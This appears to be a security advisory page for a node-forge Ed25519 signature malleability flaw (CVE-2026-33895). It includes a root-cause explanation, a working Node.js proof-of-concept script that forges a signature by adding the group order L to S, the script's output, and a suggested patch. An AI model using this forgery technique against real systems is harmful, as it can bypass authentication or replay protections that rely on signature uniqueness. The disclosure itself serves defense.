Node.js CVE-2026-33895
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Lifecycle Timeline
3Blast Radius
ecosystem impact- 63,951 npm packages depend on node-forge (2,670 direct, 61,380 indirect)
Ecosystem-wide dependent count for version 1.4.0.
DescriptionNVD
Summary
Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.
Configuration assumptions:
- Default forge Ed25519 verify API path (
ed25519.verify(...)).
Root Cause
In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:
scalarbase(q, sm.subarray(32));There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
poc.js) withnode poc.jsin the same level as theforgefolder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (
crypto.verify). - Confirm output includes:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged (S + L) signature in one run.
- Uses Node/OpenSSL as a differential verification baseline.
- Observed output on tested commit:
{
"forge": {
"original_valid": true,
"tweaked_valid": true
},
"crypto": {
"original_valid": true,
"tweaked_valid": false
}
}<details><summary>poc.js</summary>
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();</details>
Suggested Patch
Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).
Here is a patch we tested on our end to resolve the issue, though please verify it on your end:
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
return -1;
}
+ if(!_isCanonicalSignatureScalar(sm, 32)) {
+ return -1;
+ }
+
for(i = 0; i < n; ++i) {
m[i] = sm[i];
}
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
return mlen;
}
+function _isCanonicalSignatureScalar(bytes, offset) {
+ var i;
+ // Compare little-endian scalar S against group order L and require S < L.
+ for(i = 31; i >= 0; --i) {
+ if(bytes[offset + i] < L[i]) {
+ return true;
+ }
+ if(bytes[offset + i] > L[i]) {
+ return false;
+ }
+ }
+ // S == L is non-canonical.
+ return false;
+}
+
function modL(r, x) {
var carry, i, j, k;
for(i = 63; i >= 32; --i) {Resources
- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
- > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
AnalysisAI
The digitalbazaar/forge npm package accepts forged Ed25519 signatures due to missing scalar canonicalization checks, allowing authentication and authorization bypass in applications that rely on signature uniqueness. All versions since Ed25519 implementation are affected (confirmed through version 1.3.3), identified as pkg:npm/node-forge. …
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RemediationAI
Within 24 hours: Inventory all applications and dependencies using node-forge (pkg:npm/node-forge) across development, staging, and production environments. Within 7 days: Apply the vendor-released patch (commit bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85 or later patched release version) to all affected instances and redeploy; prioritize systems performing signature-based authentication. …
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